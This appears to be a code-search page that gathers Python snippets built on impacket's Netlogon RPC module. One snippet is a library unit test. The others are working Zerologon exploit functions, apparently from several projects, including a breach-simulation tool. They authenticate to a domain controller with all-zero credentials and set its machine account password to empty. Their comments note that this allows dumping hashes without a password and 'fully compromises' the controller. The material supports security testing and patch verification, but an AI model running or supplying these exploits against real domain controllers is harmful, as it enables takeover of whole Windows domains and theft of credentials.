コード例 #1
0
ファイル: test_nrpc.py プロジェクト: w0rmh013/impacket
    def test_NetrServerPasswordSet2(self):
        # It doesn't do much, should throw STATUS_ACCESS_DENIED
        dce, rpctransport = self.connect()
        request = nrpc.NetrServerPasswordSet2()
        request['PrimaryName'] = NULL
        request['AccountName'] = self.machineUser + '\x00'
        request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
        request['ComputerName'] = self.serverName + '\x00'
        request['Authenticator'] = self.update_authenticator()
        cnp = nrpc.NL_TRUST_PASSWORD()
        cnp['Buffer'] = b'\x00'*512
        cnp['Length'] = 0x8

        request['ClearNewPassword'] = cnp.getData()
        #request['ClearNewPassword'] = nrpc.NL_TRUST_PASSWORD()
        #request['ClearNewPassword']['Buffer'] = b'\x00' *512
        #request['ClearNewPassword']['Length'] = 0x8

        try:
            request.dump()
            resp = dce.request(request)
            resp.dump()
        except Exception as e:
            if str(e).find('STATUS_ACCESS_DENIED') < 0:
                raise
コード例 #2
0
ファイル: zerologon.py プロジェクト: guardicore/monkey
    def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
        request = nrpc.NetrServerPasswordSet2()
        ZerologonExploiter._set_up_request(request, self.dc_name)
        request["PrimaryName"] = self.dc_handle + "\x00"
        request["ClearNewPassword"] = b"\x00" * 516

        return rpc_con.request(request)
コード例 #3
0
def exploit(dc_handle, rpc_con, target_computer):
    request = nrpc.NetrServerPasswordSet2()
    request['PrimaryName'] = dc_handle + '\x00'
    request['AccountName'] = target_computer + '$\x00'
    request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = b'\x00' * 8
    authenticator['Timestamp'] = 0
    request['Authenticator'] = authenticator
    request['ComputerName'] = target_computer + '\x00'
    request['ClearNewPassword'] = b'\x00' * 516
    return rpc_con.request(request)
コード例 #4
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                 target_computer + '\x00', plaintext)
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)
        #====This section will change machine password to null, can dump hashes without password =====
        #use impacket nrpc.py function.  This emulates MS NetrServerPasswordSet2() function
        newPassRequest = nrpc.NetrServerPasswordSet2()
        newPassRequest['PrimaryName'] = dc_handle + '\x00'
        newPassRequest['AccountName'] = target_computer + '$\x00'
        newPassRequest[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        auth = nrpc.NETLOGON_AUTHENTICATOR()
        auth['Credential'] = b'\x00' * 8
        auth['Timestamp'] = 0
        newPassRequest['Authenticator'] = auth
        newPassRequest['ComputerName'] = target_computer + '\x00'
        newPassRequest['ClearNewPassword'] = b'\x00' * 516
        rpc_con.request(newPassRequest)
        #=======End section========

        # It worked!
        assert server_auth['ErrorCode'] == 0
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
コード例 #5
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Creates bind to the DC over RPC.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    # Connects to RPC
    rpc_con.connect()
    # Creates bind to RPC
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8  # 16 Bytes, or two hextets of Zero
    ciphertext = b'\x00' * 8  # 16 Bytes, or two hextets of Zero

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Sends Server Challenge Request
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                 target_computer + '\x00', plaintext)
    try:
        #Attempts to Authenticate to the target Domain Controller and actually exploit Zero Logon
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)
        #If login is successful, begin the attempt to change the password
        #For more info see: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/nrpc.py
        newPassRequest = nrpc.NetrServerPasswordSet2()
        newPassRequest['PrimaryName'] = dc_handle + '\x00'
        newPassRequest['AccountName'] = target_computer + '$\x00'
        newPassRequest[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        auth = nrpc.NETLOGON_AUTHENTICATOR()
        auth['Credential'] = b'\x00' * 8
        auth['Timestamp'] = 0
        newPassRequest['Authenticator'] = auth
        newPassRequest['ComputerName'] = target_computer + '\x00'
        newPassRequest['ClearNewPassword'] = b'\x00' * 516
        #Triggers password reset
        rpc_con.request(newPassRequest)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
コード例 #6
0
 def __setaccountemptystring(self, rpc_con):
     request = nrpc.NetrServerPasswordSet2()
     request['PrimaryName'] = self.dc_handle + '\x00'
     request['AccountName'] = self.hostname + '$\x00'
     request[
         'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
     authenticator = nrpc.NETLOGON_AUTHENTICATOR()
     authenticator['Credential'] = b'\x00' * 8
     authenticator['Timestamp'] = 0
     request['Authenticator'] = authenticator
     request['ComputerName'] = self.hostname + '\x00'
     request['ClearNewPassword'] = b'\x00' * 516
     return rpc_con.request(request)
コード例 #7
0
def try_zerologon(dc_handle, rpc_con, target_computer):
    """
    Authenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the encrypted
    logon credential and a time stamp.

        typedef struct _NETLOGON_AUTHENTICATOR {
           NETLOGON_CREDENTIAL Credential;
           DWORD Timestamp;
         }

    Timestamp:  An integer value that contains the time of day at which the client constructed this authentication
    credential, represented as the number of elapsed seconds since 00:00:00 of January 1, 1970.
    The authenticator is constructed just before making a call to a method that requires its usage.

        typedef struct _NETLOGON_CREDENTIAL {
            CHAR data[8];
        }

    ClearNewPassword: A NL_TRUST_PASSWORD structure, as specified in section 2.2.1.3.7,
    that contains the new password encrypted as specified in Calling NetrServerPasswordSet2 (section 3.4.5.2.5).

        typedef struct _NL_TRUST_PASSWORD {
            WCHAR Buffer[256];
            ULONG Length;
        }

    ReturnAuthenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5,
    that contains the server return authenticator.

    More info can be found on the [MS-NRPC]-170915.pdf
    """
    request = nrpc.NetrServerPasswordSet2()
    request["PrimaryName"] = dc_handle + "\x00"
    request["AccountName"] = target_computer + "$\x00"
    request[
        "SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator["Credential"] = b"\x00" * 8
    authenticator["Timestamp"] = 0
    request["Authenticator"] = authenticator
    request["ComputerName"] = target_computer + "\x00"
    request["ClearNewPassword"] = b"\x00" * 516
    return rpc_con.request(request)
コード例 #8
0
def perform_attack(dc_handle, dc_ip, target_computer):
    # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
    print('Performing authentication attempts...')
    rpc_con = None
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

        if rpc_con == None:
            print('=', end='', flush=True)
        else:
            break

    if rpc_con:
        print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
        print('Trying to set empty password for DC computer password.')
        # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81
        # use latest impacket: credits goes to @_dirkjan https://github.com/SecureAuthCorp/impacket/pull/951
        nrpc_Authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        nrpc_Authenticator["Credential"] = b'\x00' * 8  # same as ciphertext
        nrpc_Authenticator["Timestamp"] = 0
        nrpc_Password = nrpc.NL_TRUST_PASSWORD()
        nrpc_Password['Buffer'] = b'\x00' * 516
        nrpc_Password['Length'] = '\x00' * 4
        request = nrpc.NetrServerPasswordSet2()
        request['PrimaryName'] = target_computer + '\x00'
        request['AccountName'] = target_computer + '$\x00'
        request['ComputerName'] = target_computer + '\x00'
        request['Authenticator'] = nrpc_Authenticator
        request['ClearNewPassword'] = nrpc_Password
        request[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        req = rpc_con.request(request)
        print("Success")
    else:
        print('\nAttack failed. Target is probably patched.')
        sys.exit(1)
コード例 #9
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)
        #sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("c9a22836bc33154d0821568c3e18e7ff")) # that ntlm is just a randomly generated machine hash from a lab VM, it's not sensitive
        #print("session key", sessionKey)

        try:
            IV = b'\x00' * 16
            #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
            #serverCred = Crypt1.encrypt(serverChallenge)
            #print("server cred", serverCred)
            #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #clientCred = clientCrypt.encrypt(b'\x00'*8)
            #print("client cred", clientCred)
            #timestamp_var = 10
            #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
            #print("client stored cred", clientStoredCred)
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
            #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
            #print("authenticator cred", authenticatorCred)
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # timestamp_var
            #request = nrpc.NetrLogonGetCapabilities()
            #request['ServerName'] = '\x00'*20
            #request['ComputerName'] = target_computer + '\x00'
            #request['Authenticator'] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            #request['QueryLevel'] = 1
            #resp = rpc_con.request(request)
            #resp.dump()

            request = nrpc.NetrServerPasswordSet2()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
            #request['ReturnAuthenticator']['Timestamp'] = 0
            request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD()
            request["ClearNewPassword"]["Buffer"] = b'\x00' * 512
            request["ClearNewPassword"][
                "Length"] = 0  # It winds up being 516 bytes mentioned in the Secur whitepaper because this is 4 bytes
            resp = rpc_con.request(request)
            resp.dump()

            #request['PrimaryName'] = NULL
            #request['ComputerName'] = target_computer + '\x00'
            #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
            #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
            #resp = rpc_con.request(request)
            #resp.dump()
        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        #print(ex)
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
コード例 #10
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # 连接到DC的Netlogon服务。
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # 使用全零challenge和证书。
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Windows 10客户端观察到的标准标志(包括AES),只有签名/印章标志被禁用。
    flags = 0x212fffff

    # 发送challenge和证书请求包。
    serverChallengeResp = nrpc.hNetrServerReqChallenge(
        rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    serverChallenge = serverChallengeResp['ServerChallenge']
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # worked!
        assert server_auth['ErrorCode'] == 0
        print()
        server_auth.dump()
        print("server challenge", serverChallenge)

        try:
            IV = b'\x00' * 16
            authenticator = nrpc.NETLOGON_AUTHENTICATOR()
            authenticator['Credential'] = ciphertext  #authenticatorCred
            authenticator['Timestamp'] = b"\x00" * 4  #0 # 时间戳

            request = nrpc.NetrServerPasswordSet2()
            request['PrimaryName'] = NULL
            request['AccountName'] = target_computer + '$\x00'
            request[
                'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
            request['ComputerName'] = target_computer + '\x00'
            request["Authenticator"] = authenticator
            request["ClearNewPassword"] = b"\x00" * 516
            resp = rpc_con.request(request)
            resp.dump()

        except Exception as e:
            print(e)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'来自DC的意外错误代码: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'意外错误: {ex}.')